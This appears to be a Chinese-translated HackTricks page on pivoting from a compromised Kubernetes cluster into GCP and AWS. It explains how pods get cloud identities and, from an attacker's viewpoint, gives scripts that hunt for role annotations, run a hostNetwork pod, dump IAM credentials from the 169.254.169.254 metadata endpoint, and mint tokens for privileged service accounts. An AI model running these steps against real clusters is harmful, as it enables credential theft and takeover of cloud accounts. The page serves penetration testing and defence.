Kubernetes Pivoting to Clouds

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

GCP

如果你的 k8s 集群运行在 GCP 内,你可能希望集群内运行的某些应用能访问 GCP。常见的两种做法是:

将 GCP-SA keys 挂载为 secret

一种常见的方法来给予 kubernetes 应用访问 GCP 的权限是:

  • 创建一个 GCP Service Account
  • 为其绑定所需权限
  • 下载所创建 SA 的 json key
  • 将其作为 secret 挂载到 pod 内
  • 设置 GOOGLE_APPLICATION_CREDENTIALS 环境变量,指向 json 所在路径。

Warning

因此,作为一个 attacker,如果你攻陷了 pod 内的容器,你应该检查是否存在该 env variable 以及包含 GCP 凭证的 json files

将 GSA json 关联到 KSA secret

将 GSA 的访问权限授予 GKE cluster 的一种方式是通过如下绑定:

  • 在与您的 GKE cluster 相同的命名空间中创建一个 Kubernetes service account,使用以下命令:
kubectl create serviceaccount <service-account-name>
  • 创建一个包含你想授予对 GKE 集群访问权限的 GCP 服务帐号凭据的 Kubernetes Secret。你可以使用 gcloud 命令行工具完成此操作,如下例所示:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 将 Kubernetes Secret 绑定到 Kubernetes service account,使用以下命令:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Warning

第二步 中将 GSA 的凭证设为 KSA 的 secret。然后,如果你能从 GKE 集群的内部读取该 secret,你就可以提升为该 GCP service account

GKE Workload Identity

使用 Workload Identity,我们可以将一个 Kubernetes service account 配置为充当 Google service account。以该 Kubernetes service account 运行的 Pods 在访问 Google Cloud APIs 时会自动以 Google service account 的身份进行认证。

The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.

  • 在新集群上启用 Workload Identity
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 创建/更新新的 nodepool (Autopilot clusters 不需要此操作)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • 从 K8s 创建要冒充的 GCP Service Account 并授予 GCP 权限:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • 连接集群创建要使用的服务账户
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • 将 GSA 与 KSA 绑定
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • 运行一个 pod 并使用 KSA,检查对 GSAaccess:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

如有需要,请检查下面用于进行身份验证的命令:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Warning

作为位于 K8s 内的攻击者,你应该搜索带有 iam.gke.io/gcp-service-account annotation 的 SAs,因为这表明该 SA 可以访问 GCP 中的某些内容。另一种选择是尝试滥用集群中的每个 KSA,并检查它是否有访问权限。
在 GCP 中,枚举 bindings 并了解你授予 Kubernetes 内 SAs 的访问权限总是很有价值。

这是一个脚本,用于轻松遍历所有 pods 的定义查找annotation

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

给 Pods 分配 IAM Roles 的一种(已过时的)方式是使用 KiamKube2IAM server. 基本上你需要在集群中运行一个带有 kind of privileged IAM roledaemonset。这个 daemonset 会负责为需要的 pods 提供对 IAM roles 的访问。

首先你需要配置 which roles can be accessed inside the namespace,这可以通过在 namespace 对象内添加一个注解完成:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

一旦为 namespace 配置了 Pods 可以拥有的 IAM roles,你就可以在每个 pod definition 中像下面这样指定你想要的 role

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Warning

作为攻击者,如果你在 pods 或 namespaces 中 发现这些注解,或者发现正在运行的 kiam/kube2iam 服务器(很可能在 kube-system),你就可以 冒充每个角色,这些角色已经 被 pods 使用,甚至更多(如果你有对 AWS 账号的访问权限,可枚举这些角色)。

创建带 IAM Role 的 Pod

Note

要指定的 IAM 角色必须位于与 kiam/kube2iam 角色相同的 AWS 账号中,并且该角色必须能够访问它。

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

通过 OIDC 为 K8s Service Accounts 的 IAM Role

这是 AWS 推荐的方式

  1. 首先你需要 create an OIDC provider for the cluster
  2. 然后创建一个 IAM role,并赋予该 SA 所需的权限。
  3. 创建一个 trust relationship between the IAM role and the SA(或为某些 namespace 配置,使该 namespace 下的所有 SA 都能访问该 role)。信任关系主要会检查 OIDC provider 名称、namespace 名称和 SA 名称
  4. 最后,创建一个带有注释(annotation)指明该 role ARN 的 SA,并且使用该 SA 运行的 pods 将能访问该 role 的 token。该 token写入一个文件,路径由 AWS_WEB_IDENTITY_TOKEN_FILE 指定(默认:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)。
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token 获取用于 aws 的 token,运行:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Warning

作为攻击者,如果你能列举一个 K8s cluster,请检查是否存在带有该注解的 service accounts with that annotation 以便 escalate to AWS。要做到这一点,只需使用其中一个带有 IAM 权限的 privileged service accountsexec/create 一个 pod 并窃取令牌。

此外,如果你在 pod 内,检查像 AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN 这样的环境变量。

Caution

有时角色的 Trust Policy 可能被 bad configured,而不是将 AssumeRole 的访问权限授予预期的 service account,反而授予了 all the service accounts。因此,如果你能够在一个受控的 service account 上写入注解,你就能访问该 role

Check the following page for more information:

AWS - Federation Abuse

在 Cluster 中查找具有 IAM Roles 的 Pods 和 SAs

这是一个脚本,用来轻松 iterate over the all the pods and sas 定义,looking 那个 annotation

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

上一节介绍了如何通过 pods 窃取 IAM Roles,但请注意,K8s 集群中的 Node 实际上是云中的一个 instance。这意味着该 Node 很可能会拥有你可以窃取的 IAM role注意通常 K8s 集群的所有 nodes 会使用相同的 IAM role,所以不一定值得去检查每个 node)。

要访问 node 的 metadata endpoint 你需要:

  • 位于一个 pod 中,并且 metadata endpoint 被配置为至少 2 个 tcp hops。这个是最常见的错误配置,因为通常集群中不同的 pods 需要访问 metadata endpoint 才不会出问题,很多公司就干脆允许集群中所有 pods 访问 metadata endpoint。
  • 位于启用了 hostNetwork 的 pod 中。
  • 逃逸到 node 并直接访问 metadata endpoint。

(注意 metadata endpoint 一直是在 169.254.169.254)。

逃逸到 node,你可以使用下面的命令运行一个启用了 hostNetwork 的 pod:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

之前我们讨论过如何 attach IAM Roles to Pods,甚至如何 escape to the Node to steal the IAM Role(从实例上窃取其附加的 IAM Role)。

你可以使用下面的脚本来 steal 你辛苦获得的 IAM role credentials

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

总结:如果可以从 pod 访问 EKS Node IAM role,就可能 compromise the full kubernetes cluster

欲了解更多信息,请查看 this post。概括来说,默认分配给 EKS 节点的 IAM 角色在集群内部被映射为 system:node。这个角色很有价值,但受限于 kubernetes Node Restrictions

不过,node 总是可以 为在该 node 内运行的 pod 中的服务账户生成令牌。因此,如果该 node 运行着一个具有特权服务账户的 pod,node 可以为该服务账户生成令牌并用它来模拟该服务账户,例如:

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

参考文献

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks